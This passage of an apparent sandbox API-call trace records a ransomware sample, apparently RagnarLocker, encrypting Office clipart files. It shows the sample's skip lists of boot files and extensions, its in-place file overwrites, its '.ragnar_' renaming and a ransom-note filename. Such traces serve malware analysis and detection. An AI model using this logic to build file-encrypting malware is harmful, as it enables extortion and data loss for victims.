lpNewFilePointer=0x0) returned 1 [0089.492] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x140c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x140c, lpOverlapped=0x0) returned 1 [0089.493] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.493] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x140c, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.493] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x140c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x140c, lpOverlapped=0x0) returned 1 [0089.493] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x140c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.494] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.494] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x140c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.494] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.494] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.494] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.494] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.494] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.494] GetProcessHeap () returned 0x580000 [0089.494] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.494] CloseHandle (hObject=0xf4) returned 1 [0089.494] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00555_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00555_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00555_.WMF" [0089.494] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00555_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00555_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00555_.WMF.ragnar_FD7BD9FC" [0089.494] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00555_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00555_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00555_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00555_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.495] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30066900, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x30066900, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x26b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00559_.WMF", cAlternateFileName="")) returned 1 [0089.495] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.495] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE00559_.WMF" | out: lpString1="PE00559_.WMF") returned="PE00559_.WMF" [0089.495] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF") returned=".WMF" [0089.495] lstrcmpiW (lpString1="PE00559_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.495] lstrcmpiW (lpString1="PE00559_.WMF", lpString2="autorun.inf") returned 1 [0089.495] lstrcmpiW (lpString1="PE00559_.WMF", lpString2="boot.ini") returned 1 [0089.495] lstrcmpiW (lpString1="PE00559_.WMF", lpString2="bootfont.bin") returned 1 [0089.495] lstrcmpiW (lpString1="PE00559_.WMF", lpString2="bootsect.bak") returned 1 [0089.495] lstrcmpiW (lpString1="PE00559_.WMF", lpString2="bootmgr") returned 1 [0089.495] lstrcmpiW (lpString1="PE00559_.WMF", lpString2="bootmgr.efi") returned 1 [0089.495] lstrcmpiW (lpString1="PE00559_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.495] lstrcmpiW (lpString1="PE00559_.WMF", lpString2="desktop.ini") returned 1 [0089.495] lstrcmpiW (lpString1="PE00559_.WMF", lpString2="iconcache.db") returned 1 [0089.495] lstrcmpiW (lpString1="PE00559_.WMF", lpString2="ntldr") returned 1 [0089.495] lstrcmpiW (lpString1="PE00559_.WMF", lpString2="ntuser.dat") returned 1 [0089.496] lstrcmpiW (lpString1="PE00559_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.496] lstrcmpiW (lpString1="PE00559_.WMF", lpString2="ntuser.ini") returned 1 [0089.496] lstrcmpiW (lpString1="PE00559_.WMF", lpString2="thumbs.db") returned -1 [0089.496] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.496] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.496] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.496] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.496] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.496] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.496] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.496] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00559_.wmf")) returned 0x20 [0089.496] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00559_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.496] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9904) returned 1 [0089.496] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x26a7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.496] GetProcessHeap () returned 0x580000 [0089.496] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.497] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.498] VirtualAlloc (lpAddress=0x0, dwSize=0x26b0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.498] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.498] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.498] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x26b0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x26b0, lpOverlapped=0x0) returned 1 [0089.499] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.499] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x26b0, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.499] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x26b0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x26b0, lpOverlapped=0x0) returned 1 [0089.500] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x26b0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.500] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.500] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x26b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.500] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.500] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.500] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.500] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.500] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.500] GetProcessHeap () returned 0x580000 [0089.500] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.500] CloseHandle (hObject=0xf4) returned 1 [0089.500] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF" [0089.500] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF.ragnar_FD7BD9FC" [0089.500] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00559_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00559_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.501] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17bf3a00, ftCreationTime.dwHighDateTime=0x1bd4b35, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bf3a00, ftLastWriteTime.dwHighDateTime=0x1bd4b35, nFileSizeHigh=0x0, nFileSizeLow=0x5670, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00563_.WMF", cAlternateFileName="")) returned 1 [0089.501] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.501] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE00563_.WMF" | out: lpString1="PE00563_.WMF") returned="PE00563_.WMF" [0089.501] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF") returned=".WMF" [0089.501] lstrcmpiW (lpString1="PE00563_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.501] lstrcmpiW (lpString1="PE00563_.WMF", lpString2="autorun.inf") returned 1 [0089.501] lstrcmpiW (lpString1="PE00563_.WMF", lpString2="boot.ini") returned 1 [0089.501] lstrcmpiW (lpString1="PE00563_.WMF", lpString2="bootfont.bin") returned 1 [0089.501] lstrcmpiW (lpString1="PE00563_.WMF", lpString2="bootsect.bak") returned 1 [0089.501] lstrcmpiW (lpString1="PE00563_.WMF", lpString2="bootmgr") returned 1 [0089.501] lstrcmpiW (lpString1="PE00563_.WMF", lpString2="bootmgr.efi") returned 1 [0089.502] lstrcmpiW (lpString1="PE00563_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.502] lstrcmpiW (lpString1="PE00563_.WMF", lpString2="desktop.ini") returned 1 [0089.502] lstrcmpiW (lpString1="PE00563_.WMF", lpString2="iconcache.db") returned 1 [0089.502] lstrcmpiW (lpString1="PE00563_.WMF", lpString2="ntldr") returned 1 [0089.502] lstrcmpiW (lpString1="PE00563_.WMF", lpString2="ntuser.dat") returned 1 [0089.502] lstrcmpiW (lpString1="PE00563_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.502] lstrcmpiW (lpString1="PE00563_.WMF", lpString2="ntuser.ini") returned 1 [0089.502] lstrcmpiW (lpString1="PE00563_.WMF", lpString2="thumbs.db") returned -1 [0089.502] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.502] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.502] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.502] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.502] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.502] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.502] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.502] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00563_.wmf")) returned 0x20 [0089.502] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00563_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.503] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=22128) returned 1 [0089.503] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5667, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.503] GetProcessHeap () returned 0x580000 [0089.503] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.503] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.504] VirtualAlloc (lpAddress=0x0, dwSize=0x5670, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.504] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.504] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.504] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5670, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5670, lpOverlapped=0x0) returned 1 [0089.506] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.506] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5670, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.506] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5670, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5670, lpOverlapped=0x0) returned 1 [0089.506] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5670, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.506] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.506] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5670, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.506] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.506] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.507] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.507] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.507] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.507] GetProcessHeap () returned 0x580000 [0089.507] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.507] CloseHandle (hObject=0xf4) returned 1 [0089.507] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF" [0089.507] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF.ragnar_FD7BD9FC" [0089.507] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00563_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00563_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.508] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ae6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00578_.WMF", cAlternateFileName="")) returned 1 [0089.508] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.508] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE00578_.WMF" | out: lpString1="PE00578_.WMF") returned="PE00578_.WMF" [0089.508] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF") returned=".WMF" [0089.508] lstrcmpiW (lpString1="PE00578_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.508] lstrcmpiW (lpString1="PE00578_.WMF", lpString2="autorun.inf") returned 1 [0089.508] lstrcmpiW (lpString1="PE00578_.WMF", lpString2="boot.ini") returned 1 [0089.508] lstrcmpiW (lpString1="PE00578_.WMF", lpString2="bootfont.bin") returned 1 [0089.508] lstrcmpiW (lpString1="PE00578_.WMF", lpString2="bootsect.bak") returned 1 [0089.508] lstrcmpiW (lpString1="PE00578_.WMF", lpString2="bootmgr") returned 1 [0089.508] lstrcmpiW (lpString1="PE00578_.WMF", lpString2="bootmgr.efi") returned 1 [0089.508] lstrcmpiW (lpString1="PE00578_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.508] lstrcmpiW (lpString1="PE00578_.WMF", lpString2="desktop.ini") returned 1 [0089.508] lstrcmpiW (lpString1="PE00578_.WMF", lpString2="iconcache.db") returned 1 [0089.508] lstrcmpiW (lpString1="PE00578_.WMF", lpString2="ntldr") returned 1 [0089.508] lstrcmpiW (lpString1="PE00578_.WMF", lpString2="ntuser.dat") returned 1 [0089.508] lstrcmpiW (lpString1="PE00578_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.508] lstrcmpiW (lpString1="PE00578_.WMF", lpString2="ntuser.ini") returned 1 [0089.508] lstrcmpiW (lpString1="PE00578_.WMF", lpString2="thumbs.db") returned -1 [0089.508] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.508] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.508] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.509] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.509] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.509] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.509] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.509] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00578_.wmf")) returned 0x20 [0089.510] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00578_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.510] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6886) returned 1 [0089.510] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1add, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.510] GetProcessHeap () returned 0x580000 [0089.510] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.510] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.512] VirtualAlloc (lpAddress=0x0, dwSize=0x1ae6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.512] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.512] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.512] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1ae6, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1ae6, lpOverlapped=0x0) returned 1 [0089.513] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.513] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ae6, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.513] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1ae6, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, 